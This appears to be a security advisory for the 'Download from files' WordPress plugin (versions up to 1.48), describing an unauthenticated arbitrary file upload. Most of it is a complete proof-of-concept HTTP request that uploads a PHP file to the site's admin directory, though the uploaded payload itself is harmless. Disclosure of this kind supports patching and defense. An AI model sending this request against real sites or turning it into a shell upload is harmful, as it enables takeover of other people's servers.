Download from files <= 1.48 – Unauthenticated Arbitrary File Upload

Description

The download_from_files_617_fileupload AJAX action f the plugin, available to both unauthenticated and authenticated users does not properly restrict the files to be uploaded, which could allow unauthenticated users to upload PHP4 files for example

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------54331109111293931601238262353
Content-Length: 734
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="action"

download_from_files_617_fileupload
-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="files[]"; filename="a.php4"
Content-Type: text/php

<?php echo 'Failed'; ?>
-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="allowExt"

php4
-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="filesName"

files
-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="uploadDir"

.
-----------------------------54331109111293931601238262353--


The file will be at https://example.com/wp-admin/a.php4